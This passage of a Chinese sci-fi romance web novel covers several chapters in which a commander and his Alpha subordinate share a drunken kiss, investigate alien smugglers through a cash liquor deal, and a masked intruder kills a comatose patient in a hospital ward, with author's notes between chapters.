等他缓过来以后，他低头看了一眼瓶身，这不是那几瓶魁斗酒，是另一个看不懂的文字，估摸着是其他种族酿的，劲儿确实挺大，给裴简珩呛得直咳嗽。 闻铮看着他有些狼狈的样子，每一次喝烈酒的时候，这位家教素养极好的下属都会有这样的表现，他忍不住笑：“你为什么不愿意承认，你就是不会喝酒。” 裴简珩一边咳一边把酒递给他：“咳……您来……咳咳……试试！” 闻铮还真就接了过来，仰头喝了一口。 ……确实够烈。 闻指挥官也忍不住，咳了半天。 两个人对着咳了半天，又想笑，又一时半会说不出话来。 在某个时刻，两个人的视线撞到了一起，不知为何，任何一方都没有移开目光，就这样目光交缠，再交缠，而两个人之间的距离也就这样变得越来越近—— 作者有话说：注1：相位穿梭：目前被广泛应用在星舰上的一种交通工具技术，通过将生命体进行量子分解和重组，进行点对点的瞬移。 操作需要星舰的相位穿梭台和穿梭信号，两个坐标点之中必须有一个是星舰。并且只能移动生命体，如果生命体携带非生命体则可以被移动，如果只是非生命体则无法被瞬移 （没错，我在星际迷航、星际之门和飞碟导航员等科幻作品的基础上瞎编的:P） *** 梨涡，闻哥的情绪晴雨表 —— 感谢珍白雪w的地雷！掉落魁斗酒x1！ 感谢34402499的营养液！掉落闻哥和小裴喝的神秘酒x1！ （希望你们成年了，不然会发现里面是橙汁[狗头]） 第63章 我一定会后悔 淡淡的月光从特安斯特高塔的这个洞口斜斜地照射|进来, 披在正坐在洞口的两个人身上，在他们身上留下淡黄色的浅浅光晕。 闻铮感觉刚才那口酒的效力正在发挥，后劲太大以至于他现在脑子有些混沌, 入目所及只有眼前那双蔚蓝色的眼睛, 和那双眼睛深处的痴迷。 痴迷……？ 在这瞬间，理智告诉他这种痴迷是不合逻辑的，他们只相处了两个月, 上过一次床，哪里来的这种澎湃深刻的情感？ 只是理智的声音在此刻太小，小到已经被昏暗的环境，叫嚣的冲动和暧昧的氛围死死压制, 冒不出头来。 他们都没意识到, 两个人之间的距离已经越来越近, 越来越近。 也不知道是谁先挑起，只知道在某一个时刻，两片柔软的唇已经贴在了一起。 闻铮能感到裴简珩的呼吸粗｜重了起来, 他也闻到了那个熟悉的檀木香气，这让他的后颈立刻开始发烫。 后颈传来的烫意让闻铮有一瞬间的清醒, 他向后撤开了一点，声音沙哑：“我——” 只是话音未落，眼前的Alpha却猛地探身过来，不依不饶地再次衔上了他的双唇，这次除了吮｜吸以外, 他还正在尝试用舌头撬开闻铮的牙｜关。 闻铮犹豫了一下，随后只感受到更加汹涌的檀木香，和只属于裴简珩这个人身上的气味扑面而来，于此同时自己的后腰也被他有力的手臂环住, 不知为何，他能感受到裴简珩竟然也在微微颤抖。 他怎么会和一个Alpha接吻的？ 是因为酒精的度数太高了吗？ 是因为在这个高塔上双方都袒露了一部分的内心深处的自我吗？ 还是……因为眼前这个Alpha是裴简珩呢？ 一贯冷静自持挥斥方遒的闻铮，突然在这一刻不想再去考虑了。 他闭上眼睛，双臂环上了裴简珩的脖颈，把他更深地拉近了自己。 这次换裴简珩顿住了。 他垂眼看向闻铮，难以置信他能在闻铮清醒的时候把他就这样拥入自己的怀中。 这是幻觉吗？ 还是说他在做梦？ 怀里的闻哥，是真实的吗？ 他在闻铮的唇上碾｜磨，用气声低低呢喃：“闻哥……” 闻铮用那双墨色的眼睛深深地看向他：“当我清醒的时候，我一定会后悔，但——” 起码此时此刻，他不想再去思考那么多。 下一秒，他未完的话被淹没在了唇｜齿之间。 裴简珩不再苦苦压抑喷薄而出的感情和痴迷，他用恐怖的核心力量几乎是把闻铮狠狠顶｜在特安斯特高塔的墙上，反反复复地、疯狂亲吻他，就好像如果有机会，他会毫不犹豫地把闻铮吞到身体里一般。 闻铮承受着他的侵略，几乎要喘不上来气，只能把他也抱得更紧，才不至于在惊涛骇浪中失去意识。 …… 是的，没错。 闻铮第二天头痛欲裂地醒来，第一个想法就是——果然后悔了！ 他睁开眼睛看到的是酒店的天花板，反应了一会儿，然后发现自己完全想不起来昨天晚上是怎么从特安斯特高塔上回到酒店的。 他最后残留的印象就是和裴简珩在高塔洞口接吻，吻到后来他真的没有任何记忆了。 ……那到底是什么酒？！劲儿怎么能这么大？！ 本来还下定决心要保持距离，严守——可能已经被发现——秘密，这下好了，大半夜的，光天化月之下赫然是亲得不知联邦为何物了。 闻铮坐起来，摸了浑身上下，虽然换了睡衣，但没有什么别的异样，看来不管是自己还是裴简珩，哪怕是在酒精作用下，多少还残留着些许理智。 否则他也很难讲，第二天清醒过来，到底是要先杀了裴简珩还是先对自己太阳穴开一枪。 不过…… 他若有所思地摸了摸后脖颈腺体的位置，这里今天怎么这么安分？这段时间以来，就算不发烫，他那个仅剩下3%的残缺腺体也是一直保持微微发肿的状态，时不时还有点刺痛。 但现在，它温顺老实得让闻铮很陌生。 难道赫尔一点都没说错，裴简珩的信息素对他身体的影响真的这么大？哪怕只是接吻，都能短暂地让它的不安分蛰伏下去。 不能再想了。 闻铮嘶了一声，他的太阳穴痛得不行，那个酒的影响太大了，再这么痛下去，他就得去找赫尔了。 不过他晚了一步。 赫尔早上吃完瑞昂酒店的早餐，心满意足地刚回到房间，就被裴简珩敲开了房门。 “头痛？你喝什么了？” 赫尔让裴简珩进来坐着，一边拿出自己随身携带的医用扫描仪：“你这个基因战士，还能有什么酒精刺激你的中枢神经啊……嗯？” 艾尔文人看了看手里的悬浮面板，又看了看裴简珩，然后又低头看了看面板，又抬头看了看裴简珩。 裴简珩一手揉着太阳穴，一边无语：“你在看什么？我到底为什么会头疼？” “先不提头疼的事了，那个是副作用，你应该是喝了秒卡人的酒，秒卡人的酒除了他们自己以外，谁喝了都会头痛，再过一小时自己就好了。” 医疗官双臂环胸，兴致盎然：“但你的Alpha激素水平变得正常了一些，你干嘛了？” 裴简珩揉着太阳穴的动作一顿，躲开赫尔的目光：“没干什么，不是喝酒吗？还能干嘛？” “哟，这么有防御性的反问句，”赫尔啧啧，“绝对不只是喝酒，除非秒卡酒有治愈人类信息素的作用，那我就可以去申请医学专利——” 门铃响了。 赫尔奇怪：“我没叫客房服务啊，谁啊。” 他走过去从猫眼看了看，打开了门：“大清早上的，这么热闹啊，全往我这儿跑，你怎么也来了？” 闻铮脸色不太好地站在门口，虽然头痛，但依然捕捉到了赫尔话里的某个字眼：“也？” 赫尔稍微侧了侧身：“喏，你的舵手也刚到。” “……” 一个朝外看，一个朝里看，闻铮和裴简珩的视线在半空中交汇，下一秒，闻铮率先移开了目光。 裴简珩看到他倒是眼睛一亮：“闻哥！” 闻铮看着赫尔背后的挂画：“……早上好。” 哪里好？ 谁在好？ 我反正是不好。 闻指挥官在心里无言的翻白眼，他早该想到，裴简珩肯定也会来找赫尔的，都喝了那瓶奇怪的酒，肯定都头痛。 艾尔文种族出了名的心思细腻，赫尔看了看闻铮，又扭头看了看裴简珩，又转回来看闻铮，若有所思：“你俩——” 闻铮打断他：“没事，那我先回去了。” “啊？”赫尔一愣，“那你来找我到底干嘛——” “我这边结束了。” 裴简珩的声音从里面传来，站起身朝门口走过来：“我该走了。” 闻铮没有说话，他沉默地站在门口，眼神一时之间竟然不知道放在哪里，只能继续盯着赫尔背后的那副壁画，他马上就能数清楚画上到底画了几只巴特蝶了。 裴简珩在看到闻铮移开目光的时候，就知道他到底在想什么。 他还是没有完全接受自己，还是想把昨天晚上在特安斯特高塔上的一切当做没有发生过。 裴简珩心里的挫败难以控制地滋生，哪怕他早就知道，贴近闻铮本就不是一件一蹴而就的事情，但也会有体会到无法克制的无力。 他在闻铮身旁顿了一下，方才若无其事地从他身边半贴着走出去。 房门没有宽敞到能容纳两个人高马大的成年人并肩而立，裴简珩要出去，闻铮只能侧过身让一点路，就这样，两个人都几乎是肩贴肩。 裴简珩在垂眼的一瞬，看到了闻铮红得滴血的耳朵。 ……嗯？ Alpha的眼睛一下子亮了起来。 闻哥是在……害羞吗？ 只是不等他再仔细地看看，闻铮就反手关上了门。 他回过神注视着冷冰冰的房门，自己都没意识到，他正在对着一扇门傻笑。 …… 而门内，早有怀疑并且也猜得七七八八的首席医疗官正双手环胸，意味深长地看着闻铮。 闻铮被他看得有些莫名的着恼，也算是带了几分迁怒：“你看什么！” 赫尔也不触他的霉头，只是让他坐下，又拿着医疗扫描仪对他采集生物信息。 闻铮知道这里是刚刚裴简珩坐过的位置，因为还残留着他那熟悉的檀木香气。 “哦哟，”赫尔满脸写着’我就知道’，“你现在的信息素和激素水平可是自从我认识你以后状态最好的一次。” “——所以你昨天晚上到底干嘛去了？” 赫尔突然感觉有哪里不对，倏地朝前倾身凑近了闻铮，虽然下一秒就被闻铮下意识地躲开，但还是敏锐地捕捉到了自己想看的：“你的嘴唇是不是肿了？我怎么感觉你上嘴唇还破了？” 闻铮“腾”地一下站起来：“我先回去了！” 赫尔看着闻指挥官几乎是落荒而逃的背影，毫不厚道地放声大笑。 这俩人真是……搞什么地下偷情这一套啊？！—— 作者有话说：小剧场： 小裴：17w字了，终于亲到闻哥了，谁为我花生！！！ 第64章 只能怪他太在意你了 闻铮几乎是逃离赫尔房间的, 他灵敏的五感让他能把医生的大笑声离得老远都听得一清二楚。他一边忍着头痛，一边在心里骂赫尔该死的一点都不像艾尔文人！ 他自己也知道，他和裴简珩的关系不可能瞒得过赫尔, 但在这个时候他又和古老地球上某种鸟类的心态一样, 想把头埋进沙子里，什么时候拔出来再说，唯一庆幸的就是赫尔不知道他在第三军团的身份, 不然这风险系数就太高了。 他一边头痛，一边在心里想这些事，就忘记和电梯说要去的楼层，再回过神的时候已经被电梯默认带去一楼大堂了。 闻铮妥协地刚要重新关上电梯门, 却瞥见了一个身影从眼前匆匆掠过。 他一怔, 顾不上还有点痛的头, 立刻悄无声息地出电梯跟了上去。 ——是茱莉。 那个接待他们一行人的酒店前台管家。 闻铮之所以会跟上去，是因为他觉得有哪里不对劲。 虽然茱莉只是从电梯门口一闪而过，但闻铮敏锐地发现, 她的身形和仪态很奇怪。 自从知道戈维伪装成向星苑杀了欧睿以后，闻铮吃了这一堑, 此后都会下意识地关注他人的走路仪态。 茱莉虽然长相和身材都是非常标准自然的女性曲线，但她现在走路的姿势实在是……有点粗犷。 她应该是已经结束值班了，穿的是简单的T恤和牛仔裤的便服，正从瑞昂酒店的后门离开。 闻铮犹豫了一下，不知道为什么, 冥冥中有一种感觉促使他跟上去。 他作为曾经在战场上摸爬滚打的前线军人，跟踪是他最擅长的事情之一，茱莉完全没有发现自己后面跟着一个人，七扭八拐地钻进了距离瑞昂酒店差不多三个街区的小巷里。 闻铮观察了周围的环境, 在通讯上快速调出这一片的地图，发现这条巷子是一条死胡同。 他闪到了一堵矮墙背后进行观察，但在接下来的二十分钟内，除了一个莱克尔人从里面走出来以外，再也没有其他人出来，包括茱莉。 闻铮眉头微皱，悄无声息地挪到了巷子口，他打开了手腕通讯自带的光源器，却发现阴暗的巷子里空无一人。 当然，也没有茱莉。 人能到哪里去？凭空消失？ 这里没有任何其他的路，墙上也没有任何门窗，也更不可能是相位穿梭，如果是的话，他会看到对应的光圈。 一个酒店的前台，也这么神秘？ 闻铮按下心里隐隐的不安，在这个时刻，他不止难以相信任何人，更是对任何反常的人或事感到万分警戒。 他需要再关注一下这个茱莉。 直觉告诉他，这个人没有那么简单。 …… 而此刻，7号星刚刚进入工作时间。 江悦在东四区警部旁边的早餐店买咖啡，她困得直打哈欠。 她这段时间一直没怎么睡好，她知道是压力大带来的焦虑，但又很难在短时间内调节好。 虽然闻哥没有给她太多的工作或指标，她目前手里只有一个工作内容，就是调查在中央拘留所捅了戈维的菲林特背后到底是谁。 ……坦白来说，不顺利。 菲林特一口咬定是欧赫找的他，即使欧赫矢口否认，也没有对应的账户流水记录，菲林特咬死是现金交易，谁都没辙。 现在的状态就是哪怕有菲林特的供词，但物证并不能证明背后是欧赫唆使，而他的嘴像是灌了铅一样，不管是威逼还是利诱，都根本撬不开。 而除了工作内容以外，职场人际关系也依然困扰着艾尼默小鹿。 自从闻铮把暗影组的临时指挥权交给江悦而不是林瑜淞之后，组里的氛围好像变得若有似无的奇怪起来。 倒也不是说林瑜淞不配合工作，但江悦总觉得这种奇怪感，绝不仅仅是她的心理作用。 她轻轻叹了口气，端着自己的咖啡就往外走，却在下一刻转身之际差点和对面的人撞一起，咖啡在杯子里晃起波纹，要不是因为有杯盖挡着，一场洒得到处都是的惨案就要发生了。 但江悦也很不好意思，她连忙对眼前的人道歉：“不好意思，我没看路，您没事吧——？” “我没事，不必放在心上——咦，我好像见过你。” 江悦听到这句话有些发愣。再抬头看去的时候，对面是一个棕发棕眼的Alpha，正含笑看着她：“江悦，对吧？我记得你是……暗影组的指挥官？” ——糟糕。 江悦在看到眼前这个人的下一刻就在心里大叫。 她扯开一个标准假笑：“您好，段上将。” 眼前差点被她泼一身咖啡的人，正是新调到7号星的军部上将，段洄。 她只在官方宣布警部和军部联合管理的大会上遥遥看过段洄一眼，对这个长相阴柔的Alpha印象还蛮深刻的，毕竟看上去确实没长着一张正派脸，眼睛狭长眼尾上挑，一看就满肚子心眼。 虽然如此，她还是纠正了段洄：“我只是暂代暗影组的临时指挥官，暗影组的真正指挥官还是闻哥。” “哦~这样啊，”段洄饶有兴味地弯起眼睛，“倒是久仰这位闻指挥官，可惜没机会见到呢。” “会有机会的，”江悦礼貌道，“闻指挥官只是出外勤，外勤任务结束就会回来了。” “嗯，真好，我很期待。” 段洄笑着说，不经意地又问了一句：“他的名字就叫闻吗？” 江悦一顿，有些奇怪地看向他，不太清楚他为什么会问这样一个常识性的问题：“对的，单字姓名在联邦又不是什么稀奇的事情。” 更何况闻也算得上在联邦比较常见的姓名了。 段洄莞尔：“没什么，是我说废话了。” 他侧身让开路：“不耽误江指挥官时间了，我们下次有机会再一起喝咖啡？” 江悦也对他报以理解性的微笑：“当然，一定。” 谁要和你喝咖啡…… 江悦走出咖啡店，回头还看了一眼在柜台前等咖啡的段洄，秀眉微皱，总觉得这人话中有话，让她很不舒服。 更何况，他为什么要打听闻哥？还是通过这么一个愚蠢的问题？ 她不信这位段上将真的会说这种废话，她总觉得他的每一个字都意有所指。 江悦边想边走，两分钟就走到了东四区的警部大堂，还和罗斯警长打了个招呼。 这附近也就这么一家离得近的咖啡店，要是这家倒闭了她可怎么活…… 江悦脚步一顿。 这里是警部附近，离军部还有七个街区，段洄来这里做什么？又来膈应利切尔副局长？ …… 7号星，中心医院重症医疗舱 滴——滴——滴—— 有规律的仪器声在重症医疗舱病室响起，这里每一个房间都有8-10个蛋形的医疗舱，需要里面病人的直系亲属权限或者医疗官权限才能进入。 一个黑影倏地闪现，他将一块不知道什么的黑色东西放在了虹膜识别的装备上，一秒钟之后，重症医疗舱病室的门悄无声息地打开了。 在没人探望的时候，病室里面只保留必要光源，因此除了每个医疗舱在散发着森白的光外，这里一片漆黑。 黑影在三排医疗舱中穿梭，仔细地查看每个医疗舱的身份信息，直到在最后一个白色蛋形装置前停了下来。 他伸出手轻轻抚摸那块名牌，能从手上的皮肤褶皱判断出来他并不年轻了。过了五秒钟，他又将那块黑色的东西对准了医疗舱的感应装置处，在此之后，医疗舱顶部的舱门悄无声息地打开。 医疗舱里躺着一个金发的瘦弱男孩，脸色白到发青，呼吸轻到胸口几乎没有任何起伏，如果不是还插着鼻饲管，说他已经死了都不奇怪。 黑影朝男孩探下身，又从兜里掏出了另一个手掌大小的银色圆形装置，放在了他的天灵盖处。 银色装置在接触到脑顶的一瞬间就被立刻启动，从圆形装置周围探出密密麻麻的机械触手，狠狠地扎进了男孩的头顶！ 剧痛袭来，哪怕是在深度昏迷，男孩的面容也变得痛苦扭曲，只是他发不出来声音，仅有右手的小拇指可以微微动一动，此外，也就是起起伏伏的各项机能曲线能显示出他在承受着多大的痛苦。 随着银色装置上面显示传输完成的指令，男孩的小拇指突然僵直，脸上的表情也定格住，不再有任何变化。 而仪器上生命体征的曲线，在这一瞬间悉数归零。 黑影把银色装置从他头顶拿了起来，掏出一张湿巾轻轻把上面的血擦干净。 他最后凑近看了一眼金发男孩隐隐透着青灰色的脸，医疗舱的白光打在他的脸上，照亮了那张黑色的覆面。 低哑的喃喃声响起：“我也不想这么做，只能怪他太在意你了。” 说完这句话，赶在值班医生过来之前，他匆匆忙忙地原路离开了。 医疗舱的舱门在两分钟后自动关闭，白光照亮了舱门旁泛着冷光的名牌。 ——戈维.斯坦利—— 作者有话说：感谢睡不醒醒、34402499的营养液！掉落咖啡x1！ 第65章 实在是……抱歉 在特安斯特-B的这几天, 黎晓和赫尔的日子还算舒服。他们并不完全算暗影组的成员，闻铮也不想把他们都卷进来太多，所以他们在完成了医疗物资储备和轮机工程保养之后就算休假了。 赫尔还是要操心一下自己老板和朋友的身体情况, 当然看目前这个发展, 他大概率是边操心边八卦就是了。 黎晓那边就完全是度假了，短短十天，他已经要把特安斯特-B的景点全玩完了。 相比之下, 在干正事的就只有闻铮、裴简珩和凯利斯。 那天晚上之后，闻铮就把目前的情况同步给了凯利斯，当然是删减版，只说他们无意中发现了德瓦人伪装的商业渠道, 打算通过这种方式伪装建联, 再伺机探查。 凯利斯对现状和策略都没有意见, 唯一的意见是：“什么时候去挖掘的新线索，怎么不带我？” 对此，闻指挥官和裴舵手纷纷顾左右而言他。 时间过得很快, 转眼间就到了十天后。 莱克尔店主给裴简珩发通讯告知了时间地点，闻铮权衡之下还是决定由自己和裴简珩两个人去接触, 以免莱克尔店主看到凯利斯这个新面孔生出戒心，所以给他分配的任务是提前登上特安斯特高塔，以观察那艘商业舰的情况。 不过在交易之前，还有一个问题。 裴简珩给闻铮看莱克尔店主发来的通讯，闻铮微微皱眉：“要现金？还是20万现金？” “十箱魁斗酒而已, 居然要价这么高？”凯利斯也是一惊。 “虽然魁斗人目前还没有正式加入联邦，但他们的战斗力是数一数二的。魁斗酒里加了他们的血，贵一点也正常。”裴简珩道，“况且我看莱克尔人通讯里写的是预付费, 应该不止十箱。” “我觉得不太对，”凯利斯眉头微皱，“你们此前也没见过，不过是聊了几句，他怎么就这么信任你们？” 顿了顿，凯利斯好似想到了什么，神色不明地打量着高大俊美的裴简珩，打趣道：“莱克尔人出了名的开放，色|情行业在莱克尔星也是合法的，你不会是出卖了色相吧？” 闻铮想到了莱克尔店主最开始说的那句“你想知道，那就让你的同伴陪我一晚上”，忍不住转过脸偷笑。 “……”裴简珩说，“他收了30%的中间介绍费。” “哦哦，这样啊，”心算了一下，凯利斯突然理解了，“……这中介费也赚太多了！” 怪不得愿意担风险呢，这么贵的介绍费，人为财死，鸟为食亡啊。 闻铮倒是犹豫了一下：“这么几天的时间里，我申请不下来这么多费用。” 他倒是有这么多钱，但在离开7号星之前都交了出去，留着给戈维交保释金或者用在其他能帮上忙的地方。而为了不被追踪到，他在离开星际舰队的时候就冻结了名下的大额账户，一时之间确实也提不出来这么多钱。 年轻Alpha意识到自己有了用武之地，优雅地将手腕提了起来，上面的限量款通讯还镶着八颗珍贵的莫泊斯蓝钻，每一颗都能买下一颗度假小行星，反射的星彩差点晃瞎闻铮和凯利斯的眼睛。 闻铮：“……” 凯利斯：“……” 在这一刻，闻铮是真的觉得心有愧疚，上一次给黎晓的五万线人费还没报给裴简珩，这又得靠人家再出二十万。 拿人手短吃人嘴软，他连声音都放柔了，满怀歉意地看向自己财力雄厚但略显冤种的下属：“实在是……抱歉，如果这笔钱拿不回来，等我一回到7号星，我会立刻申请公费给你报销的。就算上面不批，我也会个人补给你，请放心。” 这点钱对裴简珩来说根本不重要，他母亲原本生意就做得很大，他哥哥接受家族生意以后更是赚钱赚的无法无天，他作为一个一出生就有高额信托和股份的富二代，每一分钟哪怕什么都不干，光是呼吸，都有一个惊人的数字入账。 某种意义上，这也是他投身战场很大的一个原因，他享受了太多优待和特权，这会让人很容易迷失在虚幻里，他唯一能让自己不沉溺的方式，就是去为这个世界做点真正有意义的事情。 “没关系。”裴简珩弯了弯蓝汪汪的眼睛，“我们先把德瓦人的事情解决掉，钱的事不急。” 不止不急，他甚至在心里有几分耍赖地偷偷想，在钱还没还清之前，闻哥可不能把他赶走咯。 裴简珩一边想，一遍看着闻铮笑，这是他们自特安斯特高塔那晚之后第一次直接的眼神接触。 闻铮下意识地移开了目光，他知道自己这个反应很明显不对劲，可他确实还没想好要怎么和裴简珩相处。 但他知道这样不行。 他们正在面对德瓦人的阴谋和严峻的局势，容不得他在这里想东想西。 要么脱敏，要么克服。 闻铮深吸一口气，闭了闭眼。 再睁开的时候，那双漆黑的眼睛里已经没有了任何踟躇和闪躲的神色，他平静地看向裴简珩：“多谢你。请准备一下，我们一小时后出发。” 裴简珩看到闻铮的神情后也严肃了起来，在这个时候，对德瓦人阴谋的追查才是他们最关心的目标。 不能再有战争，联邦也再不能承受这么多生命的逝去了。 …… 在夜色将沉之时，金发的英俊青年和最后一拨游客一起登上了特安斯特高塔。 自由参观的时候，他趁着四下无人关注，一猱身闪进了写着“游客勿入”的警示牌后面。 按照拿到的位置信息，他在其中一扇洞口停住了脚步，把上次闻铮顺走的望远眼镜戴上，调整焦距，从这里能看到所有入港的商用星舰编号，他知道自己找对地方了。 凯利斯低声道：“凯利斯已就位。” 下一秒，隐形耳机里传来了闻铮冷淡的声音：“收到，保持观察。” 凯利斯换了一个舒服点的姿势盯梢，却突然感觉脚边好像有什么东西。他摘下眼睛低头一看，发现是一个玻璃瓶子。 他好奇地捡了起来，看到上面写的是秒卡语，他当年在星舰军校时候选修的第三门外语就是秒卡语，这种语言歪歪扭扭得像虫子，学的时候可把他折磨得半死。 专业的词汇他都忘记了，一些日常词汇倒是还记得。这瓶子上面写本品为秒卡酒，口感浓烈但度数低，潜在短期副作用为放松心理压抑冲动和可能造成清醒后2-3小时的二级头痛。 秒卡酒啊…… 凯利斯想起了当时秒卡人教授介绍过的，这秒卡酒虽然度数低，但可以作用于神经系统造成微醺感，同时轻微放大平时被压抑的心理冲动，因个体差异而存在风险性，后被列为联邦十大禁酒之一。 谁在这儿偷偷摸摸喝禁酒…… 这时，又有一艘商用星舰驶进商用港，凯利斯连忙把秒卡酒瓶扔到一边，又把望远眼镜戴了起来，聚焦到这艘星舰的编码处。 TPAX-2560 凯利斯神情严肃起来，对着隐形耳麦低语：“闻哥，德瓦人的船来了。” “留存影像资料，不要被发现。” “收到。” 凯利斯一边领命，一边打开和望远眼镜融合在一起的4D影像捕捉器，这是黎晓帮他们改装的，可以兼容无损放大和秒级单位的影像捕捉。 凯利斯一边观察一边录像，特安斯特-B的商业港是透明的，从凯利斯身处的这个角度能看到TPAX-2560的一举一动，在驶进空港的十五分钟后，有五个人陆续从星舰上走了下来。 “闻哥，我看到目标了——呃……” 凯利斯汇报到一半，从喉咙里发出了疑惑的气音。 私密通讯那头，闻铮捕捉到了他的异样之处，问：“怎么了？有几个德瓦人？” 凯利斯有些犹豫：“……好像一个都没有。” 这五个人里，没有一个人是暗色皮肤。 他找了几个角度，把每个人的正脸都捕捉了下来，发现不只是肤色问题，甚至也没有人是浅色虹膜。 通讯那头顿了一下，闻铮又再次确认：“目标是否为魁斗人，因此无法确认？” 德瓦人和魁斗人有着共同的祖先起源，只是从某一代开始，部分德瓦人离开了德瓦母星，在德瓦星系边缘占据了一颗行星作为基地，宣布自立为魁斗星，独立于德瓦帝国。 虽然56%的魁斗人都在从事星盗，但基本也都是小打小闹，很少有大规模伤及性命的行为，再加上他们所处的位置相当暧昧，联邦并不想把骁勇善战的他们推向德瓦人，因此对这一小撮魁斗人一直是睁只眼闭只眼，而他们也慢慢变成了中立派的代名词。 由于魁斗人和德瓦人基本长得一模一样，只是肤色更棕，虹膜更深，所以很多时候如果在联邦境内看到这种暗色皮肤和略浅色虹膜的种族，也不一定是德瓦人，很有可能是中立派的魁斗人。 “不。” 凯利斯的声音充满了不可思议，甚至打开眼镜上被黎晓改装过，可以通过生物特征和信息激素识别种族的功能再去确认。 “我知道这听起来也许很荒谬，但他们看上去是艾尼默人和……人类Beta。”—— 作者有话说：小剧场： 医生：不对啊，那我的工资你打算怎么付啊？！ 第66章 您真的太瘦了 听到了凯利斯从特安斯特高塔上传来的情报, 闻铮和裴简珩都是一愣。 虽然上次在7号星的时候，他们已经意识到这里面有非德瓦人的掺和，但还是有些难以置信。 闻铮微微皱眉：“艾尼默人……” “如果是德瓦帝国内的艾尼默人, 也不是没可能。” 裴简珩递给他一杯气泡水, 他们在跟莱克尔店主约定好的地方不远处找了个甜品店，紧挨着落地窗坐，时刻观察外面的情形。 “他们依然在饱受德瓦人的奴役, 有可能是为了能过的好一些。” 闻铮垂下羽睫，注视着杯子里气泡的翻滚，轻声道：“艾尼默人我可以理解，但我不明白为什么还会有人类。” 在和德瓦帝国的战争中, 为了守住疆土和联邦, 人类的牺牲何尝不惨烈。 在这种情况下, 怎么会有人类为德瓦帝国做这种事？ 裴简珩也沉默了，他也不知道这个问题的答案。 Alpha转移了话题：“要不要再吃点东西？” 闻铮看了一眼裴简珩点的一桌子下午茶，一时凝噎：“……你喂猪？” 裴简珩不赞同地扁嘴：“闻哥, 您真的太瘦了，还是多吃点吧。” 之前在7号星暗影组的时候, 他就发现了，闻铮好像不需要进食。 每天中午他们其他人要么是点外卖，要么吃食堂，要么出去随便吃点，但他一次都没看到闻铮吃午饭。 他也问过凯利斯, 凯利斯的回答是——“闻哥是机器人，机器人不需要睡眠也不需要吃饭。” 这能不瘦吗？！ 他想起了破晓号空间迁跃失灵的那天，颠簸之下他将闻铮拥入怀中，手里搂着的腰虽然也劲瘦有力, 但实在是薄到吓人。 “我都在怀疑，您的内脏放在了哪里。” 闻指挥官：“……还好吧，哪儿有这么夸张。” 他也承认自己确实是在平均体重之下——好吧，离平均体重差的也有点多——但也不至于连内脏都没地方放…… 闻铮瞟了一眼裴简珩，这个年轻的Alpha光从身形看都能把自己盖住了，人高马大宽肩窄腰的。 于是闻指挥官倒打一耙：“你以为谁都能有你这样的身板？” 裴简珩把一碟做成星舰形状的甜点推给他：“多吃点嘛闻哥，多吃点就变成我这样了。” 闻铮：“……” 是他的错觉吗？ 怎么感觉这个小他六岁的Alpha下属在……哄他？ 裴简珩也知道自己说的话有点暧昧越线，立刻见好就收，转移话题：“我倒是没想到，那个莱克尔店主会把见面地点约在这种繁华闹市之中。” 这里是特安斯特-B的中心商业区之一，人流量可不算少，要在这里做十箱魁斗酒的买卖吗？ “要么是大隐隐于市，用人流量做遮掩。要么这里就不是最终交易的地点，我个人更偏向后者。” 闻铮也有一点奇怪，但决定还是静观其变，他的脚边放着裴简珩刚刚取出来的二十万现金，“现在距离和莱克尔店主约好的时间还有五分钟，等他来再随机应变好了。” 他看了看被偷摸推到眼前的甜品碟子，有点好笑，但还是拿起了叉子，准备给个面子把这盘碟形小星舰塞到肚子里。 只是他刚把星舰的空间迁跃舱送到嘴边，就看到莱克尔店主推门进来了。 裴简珩眼睁睁地看着闻铮又把送到嘴边的甜点放了下来，心有所感。 果然，没过几秒，莱克尔店主轻快的声音响起：“嗨，准备好了吗？” 闻铮的神情有了一些细微的变化，从略带放松变成了严肃冷峻，他指了指脚边的袋子：“现金我带来了，供应商来了吗？” “不急。”莱克尔店主说，话里却藏着隐隐的机锋，“我相信这里面的钱不会是假的，对吧？” 闻铮无所谓朝袋子扬了扬下巴：“随意检查。” “哎呀，你这是说的什么话，做生意不就是靠信任的嘛。”莱克尔店笑嘻嘻，“我愿意给你们牵线搭桥，当然是出于信任呀。” 闻铮：“难道不是出于30%的中介费吗？” 莱克尔店主把这句话当成恶评，假装没听见。 “好了，既然钱也准备好了，那我们就走吧。” 裴简珩扬眉：“走？去哪里？你不是说在这里交易么？” “当然不是，这里这么多人，你傻啊！”莱克尔店主翻了个白眼，压低声音，“魁斗酒在二级管制的酒精清单上，被抓到了也有点麻烦的。” 二级管制的意思是，单次批发交易不能超过三万毫升。零售单位在六百毫升以下，单月不能超过一万毫升。 十箱的量是法定的两倍，要是被抓到了确实也说不过去。 裴简珩当然知道，他就是在装傻套话：“那要去哪里？” 莱克尔店主对他眨了眨眼：“跟我来。” 说完，他启动了自己停在外面的悬浮车：“你们开车了吗？没开的话可以坐我的。” 闻铮示意他不用管，他们会跟上的。 坐上破晓号配备的一辆悬浮车，闻铮在启动的同时递给裴简珩一把相位枪，这是他之前从首都星带回来的：“这把枪有多个档位，你把它调节到击晕或麻痹档位，一旦交易过程中这个莱克尔人有任何异样，立刻对他开枪。” 裴简珩接过枪：“您不信任他？” “不知道，直觉让我有点不安。”闻铮开车，跟着前面莱克尔店主的车屁｜股，“你觉不觉得一切好像都太顺利了？” 从他们落地特安斯特-B开始，闻铮已经做好了要查很久才会有线索的准备，结果当天晚上就在商业区遇到了这个店主，还正好是德瓦人遮掩假象下的零售商，又恰好他准备回莱克尔星，所以愿意给他们牵线搭桥…… 真要是抽丝剥茧地分析，其实也没有任何问题或者逻辑不对的地方，只能说他们的运气有点太好了。 但闻铮一直不觉得自己是一个运气很好的人。 当事情太过顺利的时候，他只会更加警惕。 隐形耳机里传来了凯利斯的声音：“闻哥，我这边观察到，那五个人都已经离开了，我又等了二十分钟，没有人再出来，这艘星舰也挂上了护理中的标志。” “收到。”闻铮道，他思考了一下，又问，“你有可能潜入进去吗？” 凯利斯评估了一下：“我会想办法的，有进展了回头跟你说。” 闻铮眉头紧皱，在凯利斯挂断之前急声道：“凯利斯，一定以你的安全为第一要义，如果有风险，务必立刻离开，明白吗？” “放心吧，”凯利斯的声音很轻快，“我有分寸。” 他离线了。 而闻铮和裴简珩这边也快到了，前面莱克尔店主的速度明显慢了下来。 他们在高空行驶了15分钟，再降落到路面以后，发现周围已经不是中心商业区，明显荒凉了不少。 裴简珩在副驾驶看着实时导航地图：“这里到了商业区的边缘，都是一些轻工业的制造工厂，人流量比较稀少。” 这倒是像能做一些偷鸡摸狗行当的地方了。 前车停了下来，闻铮也把车停稳，在自己的后腰也揣了一把相位枪。 